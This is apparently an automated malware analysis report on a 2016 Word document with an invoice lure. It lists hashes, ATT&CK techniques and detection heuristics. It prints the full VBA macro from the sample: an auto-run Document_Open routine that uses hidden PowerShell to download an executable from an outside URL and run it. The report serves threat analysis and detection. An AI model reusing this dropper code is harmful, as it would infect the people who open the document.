Office (OLE) malware analysis — malicious · cda2823457a287df

MALICIOUS

Office (OLE)

38.0 KB Created: 2016-03-01 02:26:00 Authoring application: Microsoft Office Word First seen: 2016-03-10

MD5: fffc57c943352c22e237b6950ae696ac SHA-1: b1ec94dffbd2107fdfffb9af9ec73195baec3d3a SHA-256: cda2823457a287dfc5db6bb613a35661efebbc72d63c098f29702e1811ad9525

278 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes when the document is opened. This macro constructs and runs a PowerShell command to download an executable from 'http://updo.nl/file/99a4f864.exe' and then execute it from the temporary directory. The document body text is a generic invoice lure, suggesting this is a spearphishing attachment.

Heuristics 9

VBA macros detected medium 5 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Shell Environ$("COMSPEC") & " /c " & PShellCode, vbHide
```

PowerShell reference in VBA critical OLE_VBA_PS

PowerShell reference in VBA

Matched line in script

PShellCode = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://updo.nl/file/99a4f864.exe','%TEMP%\99a4f864.exe');Start-Process '%TEMP%\99a4f864.exe'"

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open()
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
Shell Environ$("COMSPEC") & " /c " & PShellCode, vbHide
```
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://updo.nl/file/99a4f864.exe In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 722 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	722 bytes
SHA-256: `530cf4ead8eddf2600db15c90168904b1bee48b58681b3aafb1e9dd468552d34`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Option Explicit Private Sub Document_Open() Dim PShellCode As Variant PShellCode = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://updo.nl/file/99a4f864.exe','%TEMP%\99a4f864.exe');Start-Process '%TEMP%\99a4f864.exe'" Shell Environ$("COMSPEC") & " /c " & PShellCode, vbHide End Sub Attribute VB_Name = "NewMacros" Sub x() ' ' x Macro ' ' End Sub

SHA-256: 530cf4ead8eddf2600db15c90168904b1bee48b58681b3aafb1e9dd468552d34

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Sub Document_Open()
Dim PShellCode As Variant
PShellCode = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://updo.nl/file/99a4f864.exe','%TEMP%\99a4f864.exe');Start-Process '%TEMP%\99a4f864.exe'"
Shell Environ$("COMSPEC") & " /c " & PShellCode, vbHide
End Sub

Attribute VB_Name = "NewMacros"
Sub x()
'
' x Macro
'
'

End Sub

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